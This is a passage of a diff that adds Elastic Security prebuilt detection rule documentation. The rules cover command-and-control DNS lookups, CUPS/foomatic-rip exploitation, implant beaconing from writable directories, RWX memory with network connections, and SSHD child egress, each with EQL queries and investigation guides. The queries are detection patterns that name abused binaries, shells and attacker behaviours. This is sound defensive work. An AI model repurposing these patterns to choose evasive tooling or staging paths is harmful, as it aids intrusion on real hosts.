contradictory evidence. + +- Escalate when DNS fit, process context, follow-on communication, artifacts, or variant traffic point to unauthorized C2 or delivery; close only when all evidence aligns with a recognized benign workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Software distribution, developer tooling, or security-testing workflows can legitimately query less common TLDs. Confirm by matching the same `process.executable`, `process.code_signature.subject_name`, `dns.question.name` family, and `host.id` across prior alerts or against workflow records. +- Before creating an exception, build on `process.executable`, `process.code_signature.subject_name`, the `dns.question.name` family, and `host.id` or `user.id`. Avoid exceptions on the TLD alone, `process.name` alone, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the `process.executable`, `process.code_signature.subject_name`, `process.parent.command_line`, `dns.question.name` family, and bounded `host.id` or `user.id` scope that proved the workflow. Create an exception only if that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, first preserve `dns.question.name`, `dns.resolved_ip`, connected `destination.ip` values, the alert's `process.entity_id`, `process.command_line`, `process.parent.command_line`, and any staged `file.path` values. Then apply reversible containment such as temporary DNS or egress blocks for the observed infrastructure or heightened monitoring on `host.id`. Escalate to host isolation only if the preserved evidence shows likely follow-on communication or staging and the asset role can tolerate stronger containment. +- If confirmed malicious, document the alert's `process.entity_id`, `process.command_line`, `process.parent.command_line`, written `file.path` artifacts, and connected `dns.question.name` or `destination.ip` infrastructure before initiating response actions. Prefer endpoint isolation as the first containment step; if direct endpoint response is unavailable, escalate with the preserved artifact set to the team that can isolate the host. Block the confirmed malicious domains and direct-IP destinations before terminating processes or deleting files. +- After containment, review other `host.id` and `user.id` alerts for the same `dns.question.name`, `destination.ip`, or `process.executable` pattern before deleting artifacts or restoring access. Then eradicate staged binaries, scripts, and any persistence or proxy changes identified during the file or variant review, and remediate the entry path that allowed the suspicious process to run. If the same suspicious window includes credential, admin-tool, or remote-session alerts, review those sessions for follow-on misuse and reset exposed credentials when the evidence supports compromise. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and dns.question.name != null and + ( + process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe", + "bitsadmin.exe", "InstallUtil.exe", "python.exe", "regsvr32.exe", "dllhost.exe", "node.exe", "curl.exe", + "java.exe", "javaw.exe", "*.pif", "*.com", "*.scr") or + (?process.code_signature.trusted == false or ?process.code_signature.exists == false) or + ?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or + ?process.executable : ( + "?:\\Users\\Public\\*.exe", "?:\\ProgramData\\*.exe", "?:\\Users\\*\\Downloads\\*.exe", + "\\Device\\HarddiskVolume*\\Users\\Public\\*.exe", "\\Device\\HarddiskVolume*\\ProgramData\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*\\Downloads\\*.exe" + ) + ) and +dns.question.name regex """.*\.(top|buzz|xyz|rest|ml|cf|gq|ga|onion|monster|cyou|quest|cc|bar|cfd|click|cam|surf|tk|shop|club|icu|pw|ws|online|fun|life|boats|store|hair|skin|motorcycles|christmas|lol|makeup|mom|bond|beauty|biz|live|work|zip|country|accountant|date|party|science|loan|win|men|faith|review|racing|download|host|zone)""" and + +not process.executable : ( + "?:\\ProgramData\\Microsoft\\Windows Defender\\platform\\*\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\Microsoft\\Windows Defender\\platform\\*\\*.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\Versions\\*\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\Versions\\*\\*.exe" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-by-cups-or-foomatic-rip-child.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-by-cups-or-foomatic-rip-child.asciidoc new file mode 100644 index 0000000000..4f0b35148c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-by-cups-or-foomatic-rip-child.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-network-connection-by-cups-or-foomatic-rip-child]] +=== Network Connection by Cups or Foomatic-rip Child + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects network connections initiated by a child processes of foomatic-rip. These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2024-47076 +* Vuln: CVE-2024-47175 +* Vuln: CVE-2024-47176 +* Vuln: CVE-2024-47177 + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Connection by Cups or Foomatic-rip Child* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d +- Printer User (lp) Shell Execution - f86cd31c-5c7e-4481-99d7-6875a3e31309 +- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4 +- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=10s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name == "foomatic-rip" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.entity_id + [network where host.os.type == "linux" and event.type == "start" and + event.action == "connection_attempted"] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-followed-by-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-followed-by-file-creation.asciidoc new file mode 100644 index 0000000000..894ba5ea58 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-followed-by-file-creation.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-network-connection-followed-by-file-creation]] +=== Network Connection Followed by File Creation + +Detects network connections originating from a binary located in a potentially suspicious location, followed by a file creation event. This behavior is consistent with C2 agents such as Poseidon and Athena, connecting to a C2 framework such as Mythic. The agent polls the C2 for commands through a web request, after which the command gets executed. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection Followed by File Creation* + + +This rule spots a Linux process running from an unusual writable directory that makes an outbound connection and then creates a file within seconds, a pattern that often marks an active implant receiving tasks and staging follow-on activity. Attackers launch a loader from /dev/shm or /tmp, poll a remote web-based command server, and immediately drop a script or renamed payload for execution or persistence. + + +*Possible investigation steps* + + +- Review the process ancestry and launch context for the binary in the writable directory to determine whether it originated from a user session, script, scheduled task, package operation, or remote execution mechanism. +- Inspect the external destination's reputation, ownership, protocol details, and whether other hosts contacted it at similar times to distinguish approved software behavior from likely command-and-control traffic. +- Examine the created file's location, type, hash, contents, permissions, and any immediate chmod, rename, or execution activity to assess whether it is a staged payload, script, or persistence artifact. +- Build a concise timeline around the alert to identify preceding download, decode, or unpack actions and any follow-on child processes, credential access attempts, or lateral movement from the same host. +- Search the environment for the same executable hash, destination, or dropped artifact on other systems and contain the host if you observe repeated beaconing, additional suspicious file creation, or evidence of execution. + + +*False positive analysis* + + +- A legitimate software installer, updater, or bootstrap script launched from /tmp or /var/tmp can contact an external repository and immediately create unpacked files; verify the parent process, initiating user, shell history, and whether the destination IP and dropped files align with an approved installation or update at that time. +- An administrator or automation job may execute a temporary script from /dev/shm or /run/user to fetch remote content and write logs, configuration, or cache files; confirm the activity matches a scheduled task or provisioning change and inspect the created file paths and script contents for expected benign output. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network except for approved management access, kill the suspicious process running from the writable directory, quarantine the binary and any files it created, and block the contacted external IP or domain at the firewall, proxy, and DNS layers. +- Remove attacker footholds by deleting malicious systemd services, cron jobs, shell profile modifications, SSH authorized_keys entries, and any copied or renamed payloads the implant placed under writable paths or startup locations, after preserving forensic copies. +- Reset potentially exposed access by rotating passwords, SSH keys, API tokens, and service credentials used on the host, especially if the process ran as root, touched authentication files, or dropped scripts and configuration files that may contain secrets. +- Restore the system to a known-good state by reimaging or rebuilding the host from a trusted baseline when the binary or dropped files executed, then validate package integrity, startup items, and critical application data before reconnecting it to production. +- Escalate immediately to incident response if the same executable hash, outbound destination, or dropped artifact appears on additional hosts, or if you identify privilege escalation, credential theft, persistence in multiple locations, or attempted lateral movement. +- Harden the environment by blocking execution from /tmp, /dev/shm, and other writable directories where feasible, tightening egress rules to approved destinations, enforcing application allowlisting, and improving monitoring for new outbound beacons followed by file creation. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=5s + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and + process.executable like ( + "/boot/*", "/dev/shm/*", "/tmp/*", "/var/tmp/*", "/var/log/*", "/var/run/user/*", "/run/user/*" + ) and + not ( + destination.ip == null or + destination.ip == "0.0.0.0" or + cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.0.0/24", "192.0.0.0/29","192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", + "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", + "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "FC00::/7" + ) + )] + [file where host.os.type == "linux" and event.type == "creation" and process.executable like ( + "/boot/*", "/dev/shm/*", "/tmp/*", "/var/tmp/*", "/var/log/*", "/boot/*", "/var/run/user/*", "/run/user/*" + ) and + not ( + file.name like "tmp*" or file.extension in ("sqlite-journal", "db-journal", "lockfile", "tmp") or + file.path like ( + "/loki/wal/*", "/dev/shm/.org.chromium.Chromium.*", "/opt/rapid7/nexpose/*", + "/usr/local/ltechagent*", "/var/lib/cloudendure/agent_keystore_temp", "/var/cache/yum/*", + "/run/aws-node/ipam.json.tmp*", "/run/systemd/journal/streams/.*" + ) or + (process.executable == "/tmp/terraform" and file.path like "/tmp/terraform-provider*") or + process.name in ("podman", "minikube", "logrotate", "java", "aws-k8s-agent", "grafana", "postman") or + process.executable : ( + "/etc/cron.daily/logrotate", "/etc/update-motd.d/50-motd-news", "/etc/cron.hourly/0yum-hourly.cron", + "/etc/cron.hourly/BitdefenderRedline", "/tmp/token_handler", "/tmp/.sentry-cli*.exe", + "/etc/cron.daily/0yum-daily.cron", "/etc/init.d/fortiedr" + ) + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-from-binary-with-rwx-memory-region.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-from-binary-with-rwx-memory-region.asciidoc new file mode 100644 index 0000000000..1d520d34b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-from-binary-with-rwx-memory-region.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-network-connection-from-binary-with-rwx-memory-region]] +=== Network Connection from Binary with RWX Memory Region + +Monitors for the execution of a unix binary with read, write and execute memory region permissions, followed by a network connection. The mprotect() system call is used to change the access protections on a region of memory that has already been allocated. This syscall allows a process to modify the permissions of pages in its virtual address space, enabling or disabling permissions such as read, write, and execute for those pages. RWX permissions on memory is in many cases overly permissive, and should (especially in conjunction with an outbound network connection) be analyzed thoroughly. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://man7.org/linux/man-pages/man2/mprotect.2.html +* https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection from Binary with RWX Memory Region* + + +In Linux environments, the `mprotect()` system call adjusts memory permissions, potentially enabling read, write, and execute (RWX) access. Adversaries exploit this to execute malicious code in memory, often followed by network connections to exfiltrate data or communicate with command-and-control servers. The detection rule identifies such behavior by monitoring for RWX memory changes and subsequent network activity, flagging suspicious processes for further analysis. + + +*Possible investigation steps* + + +- Review the process details using the process.pid and process.name fields to identify the binary that requested RWX memory permissions. +- Investigate the context of the mprotect() syscall by examining the process's command line arguments and parent process to understand its origin and purpose. +- Analyze the network connection details, focusing on the destination.ip field, to determine if the connection was made to a known malicious IP or an unusual external server. +- Check the process's execution history and any associated files or scripts to identify potential malicious payloads or scripts that may have been executed. +- Correlate the event with other security logs or alerts from the same host.id to identify any related suspicious activities or patterns. +- Assess the risk and impact by determining if any sensitive data was accessed or exfiltrated during the network connection attempt. + + +*False positive analysis* + + +- Legitimate software updates or patches may temporarily use RWX memory regions. Monitor the specific process names and verify if they are associated with known update mechanisms. Consider adding these processes to an exception list if they are verified as safe. +- Development tools and environments often require RWX permissions for debugging or testing purposes. Identify these tools and exclude them from the rule if they are part of a controlled and secure development environment. +- Certain system services or daemons, like custom web servers or network services, might use RWX memory regions for legitimate reasons. Review the process names and network destinations to determine if they are part of expected system behavior, and exclude them if confirmed. +- Security software or monitoring tools may exhibit this behavior as part of their normal operation. Validate these processes and consider excluding them if they are recognized as part of your security infrastructure. +- Custom scripts or automation tasks that require dynamic code execution might trigger this rule. Ensure these scripts are reviewed and approved, then exclude them if they are deemed non-threatening. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further data exfiltration or communication with potential command-and-control servers. +- Terminate the suspicious process identified by the detection rule to halt any ongoing malicious activity. +- Conduct a memory dump of the affected system to capture the current state for forensic analysis, focusing on the RWX memory regions. +- Review and analyze the network logs to identify any external IP addresses or domains the process attempted to connect to, and block these on the network firewall. +- Patch and update the affected system to the latest security updates to mitigate any known vulnerabilities that could have been exploited. +- Implement stricter memory protection policies to prevent processes from obtaining RWX permissions unless absolutely necessary. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if this is part of a larger attack campaign. + +==== Setup + + + +*Setup* + + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system. +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +For this detection rule to trigger, the following additional audit rules are required to be added to the integration: +``` +-a always,exit -F arch=b64 -S mprotect +``` +Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. + + +==== Rule query + + +[source, js] +---------------------------------- +sample by host.id, process.pid, process.name + /* auditd.data.a2 == "7" translates to RWX memory region protection (PROT_READ | PROT_WRITE | PROT_EXEC) */ + [process where host.os.type == "linux" and auditd.data.syscall == "mprotect" and auditd.data.a2 == "7" and + not process.name in ("httpd", "java", "node", "code", "apache2")] + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and + not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-initiated-by-suspicious-sshd-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-initiated-by-suspicious-sshd-child-process.asciidoc new file mode 100644 index 0000000000..d102b5bc4f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-initiated-by-suspicious-sshd-child-process.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-network-connection-initiated-by-suspicious-sshd-child-process]] +=== Network Connection Initiated by Suspicious SSHD Child Process + +This rule identifies an egress internet connection initiated by an SSH Daemon child process. This behavior is indicative of the alteration of a shell configuration file or other mechanism that launches a process when a new SSH login occurs. Attackers can also backdoor the SSH daemon to allow for persistence, call out to a C2 or to steal credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hadess.io/the-art-of-linux-persistence/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection Initiated by Suspicious SSHD Child Process* + + +The SSH Daemon (SSHD) facilitates secure remote logins and command execution on Linux systems. Adversaries may exploit SSHD by modifying shell configurations or backdooring the daemon to establish unauthorized connections, often for persistence or data exfiltration. The detection rule identifies suspicious outbound connections initiated by SSHD child processes, excluding benign processes and internal IP ranges, to flag potential malicious activity. + + +*Possible investigation steps* + + +- Review the process details of the SSHD child process that initiated the network connection, focusing on the process.entity_id and process.parent.entity_id to understand the process hierarchy and parent-child relationship. +- Examine the destination IP address of the network connection attempt to determine if it is associated with known malicious activity or suspicious external entities, especially since it is not within the excluded internal IP ranges. +- Investigate the executable path of the process that initiated the connection to ensure it is not a 